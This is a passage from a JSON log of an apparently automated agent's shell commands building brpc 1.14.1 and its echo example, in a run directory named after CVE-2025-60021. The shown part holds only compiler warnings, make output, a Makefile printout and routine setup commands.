/home/user/pruva/work/brpc-1.14.1/src/brpc/baidu_master_service.h:28:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_response.h: In member function ‘virtual int brpc::SerializedResponse::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_response.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.14.1/src/brpc/baidu_master_service.h:27,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/server.h:46,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/builtin/bad_method_service.cpp:26:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_request.h: In member function ‘virtual int brpc::SerializedRequest::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_request.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\nIn file included from /usr/include/google/protobuf/any.h:38,\n                 from /usr/include/google/protobuf/generated_message_util.h:52,\n                 from /home/user/pruva/work/brpc-1.14.1/build/brpc/options.pb.h:26,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/controller.h:33,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/builtin/bad_method_service.cpp:24:\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.14.1/src/brpc/baidu_master_service.h:28:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_response.h: In member function ‘virtual int brpc::SerializedResponse::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_response.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.14.1/src/brpc/baidu_master_service.h:27,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/server.h:46,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/builtin/common.cpp:28:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_request.h: In member function ‘virtual int brpc::SerializedRequest::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_request.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\nIn file included from /usr/include/google/protobuf/any.h:38,\n                 from /usr/include/google/protobuf/generated_message_util.h:52,\n                 from /home/user/pruva/work/brpc-1.14.1/build/brpc/options.pb.h:26,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/controller.h:33,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/server.h:34:\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.14.1/src/brpc/baidu_master_service.h:28:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_response.h: In member function ‘virtual int brpc::SerializedResponse::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_response.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.14.1/src/brpc/baidu_master_service.h:27,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/server.h:46,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/builtin/connections_service.cpp:27:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_request.h: In member function ‘virtual int brpc::SerializedRequest::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_request.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\nIn file included from /usr/include/google/protobuf/any.h:38,\n                 from /usr/include/google/protobuf/generated_message_util.h:52,\n                 from /home/user/pruva/work/brpc-1.14.1/build/brpc/options.pb.h:26,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/controller.h:33,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/builtin/connections_service.cpp:24:\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.14.1/src/brpc/baidu_master_service.h:28:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_response.h: In member function ‘virtual int brpc::SerializedResponse::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_response.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.14.1/src/brpc/nshead_service.h:23,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/builtin/connections_service.cpp:28:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/nshead_message.h: In member function ‘virtual int brpc::NsheadMessage::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/nshead_message.h:54:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   54 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.14.1/src/brpc/baidu_master_service.h:27,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/server.h:46,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/builtin/flags_service.cpp:30:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_request.h: In member function ‘virtual int brpc::SerializedRequest::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_request.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSiz\n... (truncated 129108 chars)",
        "error": "Command timed out after 300.0 seconds",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 51,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:44:33.697018Z",
      "duration": 34.36767561800025,
      "request": {
        "command": "cd /home/user/pruva/work/brpc-1.14.1/build && make -j2",
        "timeout": 300.0
      },
      "response": {
        "returncode": 0,
        "stdout": "[ 11%] Built target PROTO_LIB\n[ 43%] Built target BUTIL_LIB\n[ 44%] Building CXX object src/CMakeFiles/SOURCES_LIB.dir/brpc/trackme.cpp.o\n[ 44%] Building CXX object src/CMakeFiles/SOURCES_LIB.dir/brpc/ts.cpp.o\n[ 44%] Building CXX object src/CMakeFiles/SOURCES_LIB.dir/brpc/uri.cpp.o\n[ 94%] Built target SOURCES_LIB\n[ 94%] Linking CXX static library ../output/lib/libbrpc.a\n[ 94%] Built target brpc-static\n[ 94%] Building CXX object src/CMakeFiles/protoc-gen-mcpack.dir/mcpack2pb/generator.cpp.o\n[ 94%] Building CXX object tools/parallel_http/CMakeFiles/parallel_http.dir/parallel_http.cpp.o\n[ 95%] Linking CXX executable ../../output/bin/parallel_http\n[ 95%] Linking CXX executable ../output/bin/protoc-gen-mcpack\n[ 95%] Built target parallel_http\n[ 96%] Building CXX object tools/rpc_press/CMakeFiles/rpc_press.dir/info_thread.cpp.o\n[ 96%] Built target protoc-gen-mcpack\n[ 96%] Building CXX object tools/rpc_replay/CMakeFiles/rpc_replay.dir/info_thread.cpp.o\n[ 96%] Building CXX object tools/rpc_press/CMakeFiles/rpc_press.dir/json_loader.cpp.o\n[ 97%] Building CXX object tools/rpc_replay/CMakeFiles/rpc_replay.dir/rpc_replay.cpp.o\n[ 97%] Building CXX object tools/rpc_press/CMakeFiles/rpc_press.dir/pb_util.cpp.o\n[ 97%] Building CXX object tools/rpc_press/CMakeFiles/rpc_press.dir/rpc_press.cpp.o\n[ 97%] Linking CXX executable ../../output/bin/rpc_replay\n[ 98%] Building CXX object tools/rpc_press/CMakeFiles/rpc_press.dir/rpc_press_impl.cpp.o\n[ 98%] Built target rpc_replay\n[ 98%] Running cpp protocol buffer compiler on view.proto\n[ 98%] Building CXX object tools/rpc_view/CMakeFiles/rpc_view.dir/rpc_view.cpp.o\n[ 99%] Building CXX object tools/rpc_view/CMakeFiles/rpc_view.dir/view.pb.cc.o\n[ 99%] Linking CXX executable ../../output/bin/rpc_press\n[ 99%] Linking CXX executable ../../output/bin/rpc_view\n[ 99%] Built target rpc_press\n[ 99%] Building CXX object tools/trackme_server/CMakeFiles/trackme_server.dir/trackme_server.cpp.o\n[ 99%] Built target rpc_view\n[100%] Linking CXX executable ../../output/bin/trackme_server\n[100%] Built target trackme_server\n",
        "stderr": "In file included from /home/user/pruva/work/brpc-1.14.1/src/brpc/baidu_master_service.h:27,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/server.h:46,\n                 from /home/user/pruva/work/brpc-1.14.1/tools/rpc_replay/rpc_replay.cpp:27:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_request.h: In member function ‘virtual int brpc::SerializedRequest::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_request.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\nIn file included from /usr/include/google/protobuf/any.h:38,\n                 from /usr/include/google/protobuf/generated_message_util.h:52,\n                 from /home/user/pruva/work/brpc-1.14.1/build/brpc/options.pb.h:26,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/adaptive_protocol_type.h:25,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/channel.h:31,\n                 from /home/user/pruva/work/brpc-1.14.1/tools/rpc_replay/rpc_replay.cpp:26:\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.14.1/src/brpc/baidu_master_service.h:28:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_response.h: In member function ‘virtual int brpc::SerializedResponse::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_response.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.14.1/tools/rpc_replay/rpc_replay.cpp:30:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/nshead_message.h: In member function ‘virtual int brpc::NsheadMessage::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/nshead_message.h:54:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   54 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.14.1/src/brpc/baidu_master_service.h:27,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/server.h:46,\n                 from /home/user/pruva/work/brpc-1.14.1/tools/rpc_press/rpc_press.cpp:21:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_request.h: In member function ‘virtual int brpc::SerializedRequest::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_request.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\nIn file included from /usr/include/google/protobuf/generated_enum_util.h:38,\n                 from /usr/include/google/protobuf/generated_enum_reflection.h:47,\n                 from /usr/include/google/protobuf/generated_message_reflection.h:46,\n                 from /usr/include/google/protobuf/message.h:124,\n                 from /usr/include/google/protobuf/dynamic_message.h:49,\n                 from /home/user/pruva/work/brpc-1.14.1/tools/rpc_press/rpc_press.cpp:19:\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.14.1/src/brpc/baidu_master_service.h:28:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_response.h: In member function ‘virtual int brpc::SerializedResponse::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_response.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.14.1/src/brpc/baidu_master_service.h:27,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/server.h:46,\n                 from /home/user/pruva/work/brpc-1.14.1/tools/rpc_view/rpc_view.cpp:21:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_request.h: In member function ‘virtual int brpc::SerializedRequest::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_request.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\nIn file included from /usr/include/google/protobuf/any.h:38,\n                 from /usr/include/google/protobuf/generated_message_util.h:52,\n                 from /home/user/pruva/work/brpc-1.14.1/build/brpc/options.pb.h:26,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/controller.h:33,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/server.h:34:\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.14.1/src/brpc/baidu_master_service.h:28:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_response.h: In member function ‘virtual int brpc::SerializedResponse::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_response.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.14.1/src/brpc/baidu_master_service.h:27,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/server.h:46,\n                 from /home/user/pruva/work/brpc-1.14.1/tools/trackme_server/trackme_server.cpp:24:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_request.h: In member function ‘virtual int brpc::SerializedRequest::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_request.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\nIn file included from /usr/include/google/protobuf/any.h:38,\n                 from /usr/include/google/protobuf/generated_message_util.h:52,\n                 from /home/user/pruva/work/brpc-1.14.1/build/brpc/options.pb.h:26,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/controller.h:33,\n                 from /home/user/pruva/work/brpc-1.14.1/src/brpc/server.h:34:\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\nIn file included from /home/user/pruva/work/brpc-1.14.1/src/brpc/baidu_master_service.h:28:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_response.h: In member function ‘virtual int brpc::SerializedResponse::GetCachedSize() const’:\n/home/user/pruva/work/brpc-1.14.1/src/brpc/serialized_response.h:47:64: warning: ‘int google::protobuf::MessageLite::ByteSize() const’ is deprecated: Please use ByteSizeLong() instead [-Wdeprecated-declarations]\n   47 |     int GetCachedSize() const PB_425_OVERRIDE { return ByteSize(); }\n      |                                                        ~~~~~~~~^~\n/usr/include/google/protobuf/message_lite.h:381:7: note: declared here\n  381 |   int ByteSize() const { return internal::ToIntSize(ByteSizeLong()); }\n      |       ^~~~~~~~\n",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 52,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:44:41.233692Z",
      "duration": 0.0109519900001942,
      "request": {
        "command": "sed -n '1,200p' /home/user/pruva/work/brpc-1.14.1/example/echo_c++/Makefile",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements.  See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership.  The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License.  You may obtain a copy of the License at\n#\n#   http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied.  See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\nNEED_GPERFTOOLS=0\nBRPC_PATH=../..\ninclude $(BRPC_PATH)/config.mk\n# Notes on the flags:\n# 1. Added -fno-omit-frame-pointer: perf/tcmalloc-profiler use frame pointers by default\nCXXFLAGS+=$(CPPFLAGS) -std=c++0x -DNDEBUG -O2 -pipe -W -Wall -Wno-unused-parameter -fPIC -fno-omit-frame-pointer\nifeq ($(NEED_GPERFTOOLS), 1)\n\tCXXFLAGS+=-DBRPC_ENABLE_CPU_PROFILER\nendif\nHDRS+=$(BRPC_PATH)/output/include\nLIBS+=$(BRPC_PATH)/output/lib\n\nHDRPATHS=$(addprefix -I, $(HDRS))\nLIBPATHS=$(addprefix -L, $(LIBS))\nCOMMA=,\nSOPATHS=$(addprefix -Wl$(COMMA)-rpath$(COMMA), $(LIBS))\n\nCLIENT_SOURCES = client.cpp\nSERVER_SOURCES = server.cpp\nPROTOS = $(wildcard *.proto)\n\nPROTO_OBJS = $(PROTOS:.proto=.pb.o)\nPROTO_GENS = $(PROTOS:.proto=.pb.h) $(PROTOS:.proto=.pb.cc)\nCLIENT_OBJS = $(addsuffix .o, $(basename $(CLIENT_SOURCES))) \nSERVER_OBJS = $(addsuffix .o, $(basename $(SERVER_SOURCES))) \n\nifeq ($(SYSTEM),Darwin)\n ifneq (\"$(LINK_SO)\", \"\")\n\tSTATIC_LINKINGS += -lbrpc\n else\n\t# *.a must be explicitly specified in clang\n\tSTATIC_LINKINGS += $(BRPC_PATH)/output/lib/libbrpc.a\n endif\n\tLINK_OPTIONS_SO = $^ $(STATIC_LINKINGS) $(DYNAMIC_LINKINGS)\n\tLINK_OPTIONS = $^ $(STATIC_LINKINGS) $(DYNAMIC_LINKINGS)\nelse ifeq ($(SYSTEM),Linux)\n\tSTATIC_LINKINGS += -lbrpc\n\tLINK_OPTIONS_SO = -Xlinker \"-(\" $^ -Xlinker \"-)\" $(STATIC_LINKINGS) $(DYNAMIC_LINKINGS)\n\tLINK_OPTIONS = -Xlinker \"-(\" $^ -Wl,-Bstatic $(STATIC_LINKINGS) -Wl,-Bdynamic -Xlinker \"-)\" $(DYNAMIC_LINKINGS)\nendif\n\n.PHONY:all\nall: echo_client echo_server\n\n.PHONY:clean\nclean:\n\t@echo \"> Cleaning\"\n\trm -rf echo_client echo_server $(PROTO_GENS) $(PROTO_OBJS) $(CLIENT_OBJS) $(SERVER_OBJS)\n\necho_client:$(PROTO_OBJS) $(CLIENT_OBJS)\n\t@echo \"> Linking $@\"\nifneq (\"$(LINK_SO)\", \"\")\n\t$(CXX) $(LIBPATHS) $(SOPATHS) $(LINK_OPTIONS_SO) -o $@\nelse\n\t$(CXX) $(LIBPATHS) $(LINK_OPTIONS) -o $@\nendif\n\necho_server:$(PROTO_OBJS) $(SERVER_OBJS)\n\t@echo \"> Linking $@\"\nifneq (\"$(LINK_SO)\", \"\")\n\t$(CXX) $(LIBPATHS) $(SOPATHS) $(LINK_OPTIONS_SO) -o $@\nelse\n\t$(CXX) $(LIBPATHS) $(LINK_OPTIONS) -o $@\nendif\n\n%.pb.cc %.pb.h:%.proto\n\t@echo \"> Generating $@\"\n\t$(PROTOC) --cpp_out=. --proto_path=. $(PROTOC_EXTRA_ARGS) $<\n\n%.o:%.cpp\n\t@echo \"> Compiling $@\"\n\t$(CXX) -c $(HDRPATHS) $(CXXFLAGS) $< -o $@\n\n%.o:%.cc\n\t@echo \"> Compiling $@\"\n\t$(CXX) -c $(HDRPATHS) $(CXXFLAGS) $< -o $@\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 53,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:44:49.067744Z",
      "duration": 1.5454258820000177,
      "request": {
        "command": "cd /home/user/pruva/work/brpc-1.14.1 && ./config_brpc.sh --headers=/usr/include --libs=/usr/lib/x86_64-linux-gnu",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 54,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:44:53.308571Z",
      "duration": 0.012575738999657915,
      "request": {
        "command": "ls -la /home/user/pruva/work/brpc-1.14.1/config.mk",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "-rw-r--r-- 1 root root 840 Jan 20 23:44 /home/user/pruva/work/brpc-1.14.1/config.mk\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 55,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:44:58.186609Z",
      "duration": 0.014602489000026253,
      "request": {
        "command": "ls -la /home/user/pruva/work/brpc-1.14.1/output/lib | head -n 20",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "",
        "stderr": "ls: cannot access '/home/user/pruva/work/brpc-1.14.1/output/lib': No such file or directory\n",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 56,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:45:08.368434Z",
      "duration": 0.01065340000013748,
      "request": {
        "command": "ls -la /home/user/pruva/work/brpc-1.14.1/output",
        "timeout": 60.0
      },
      "response": {
        "returncode": 2,
        "stdout": "",
        "stderr": "ls: cannot access '/home/user/pruva/work/brpc-1.14.1/output': No such file or directory\n",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 57,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:45:14.609368Z",
      "duration": 0.013682820000212814,
      "request": {
        "command": "ls -la /home/user/pruva/work/brpc-1.14.1/build/output",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "total 20\ndrwxr-xr-x 5 root root 4096 Jan 20 23:38 .\ndrwxr-xr-x 7 root root 4096 Jan 20 23:38 ..\ndrwxr-xr-x 2 root root 4096 Jan 20 23:44 bin\ndrwxr-xr-x 8 root root 4096 Jan 20 23:38 include\ndrwxr-xr-x 2 root root 4096 Jan 20 23:44 lib\n",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 58,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:45:18.571957Z",
      "duration": 0.00957613999980822,
      "request": {
        "command": "ln -s /home/user/pruva/work/brpc-1.14.1/build/output /home/user/pruva/work/brpc-1.14.1/output",
        "timeout": 60.0
      },
      "response": {
        "returncode": 0,
        "stdout": "",
        "stderr": "",
        "cwd": "/home/user/pruva/artifacts/runs/cve-2025-60021/20260120-233404/cve-2025-60021"
      }
    },
    {
      "index": 59,
      "name": "run_shell",
      "timestamp": "2026-01-20T23:45:29.494829Z",
      "duration": 6.243297969000196,
      "request": {
        "command": "cd /home/user/pruva/work/brpc-1.14.1/example/echo_c++ && make -j2",
        "timeout": 300.0
      },
      "response": {
        "returncode": 0,
        "stdout": "> Generating echo.pb.cc\n/usr/bin/protoc --cpp_out=. --proto_path=.  echo.proto\n> Compiling client.o\ng++ -c -I/usr/include/ -I../../output/include -std=c++0x -DBRPC_WITH_GLOG=0 -DBRPC_DEBUG_BTHREAD_SCHE_SAFETY=0 -DBRPC_DEBUG_LOCK=0 -D__const__=__unused__ -g -std=c++0x -DNDEBUG -O2 -pipe -W -Wall -Wno-unused-parameter -fPIC -fno-omit-frame-pointer client.cpp -o client.o\n> Compiling server.o\ng++ -c -I/usr/include/ -I../../output/include -std=c++0x -DBRPC_WITH_GLOG=0 -DBRPC_DEBUG_BTHREAD_SCHE_SAFETY=0 -DBRPC_DEBUG_LOCK=0 -D__const__=__unused__ -g -std=c++0x -DNDEBUG -O2 -pipe -W -Wall -Wno-unused-parameter -fPIC -fno-omit-frame-pointer server.cpp -o server.o\n> Compiling echo.pb.o\ng++ -c -I/usr/include/ -I../../output/include -std=c++0x -DBRPC_WITH_GLOG=0 -DBRPC_DEBUG_BTHREAD_SCHE_SAFETY=0 -DBRPC_DEBUG_LOCK=0 -D__const__=__unused__ -g -std=c++0x -DNDEBUG -O2 -pipe -W -Wall -Wno-unused-parameter -fPIC -fno-omit-frame-pointer echo.pb.cc -o echo.pb.o\n> Linking echo_client\ng++ -L/usr/lib/x86_64-linux-gnu -L../../output/lib -Xlinker \"-(\" echo.pb.o client.o -Wl,-Bstatic -lgflags -lprotobuf -lbrpc -Wl,-Bdynamic -Xlinker \"-)\" -lpthread -lssl -lcrypto -ldl -lz -lrt -lleveldb -o echo_client\n> Linking echo_server\ng++ -L/usr/lib/x86_64-linux-gnu -L../../output/lib -Xlinker \"-(\" echo.pb.o server.o -Wl,-Bstatic -lgflags -lprotobuf -lbrpc -Wl,-Bdynamic -Xlinker \"-)\" -lpthread -lssl -lcrypto -ldl -lz -lrt -lleveldb -o echo_server\nrm echo.pb.cc\n",
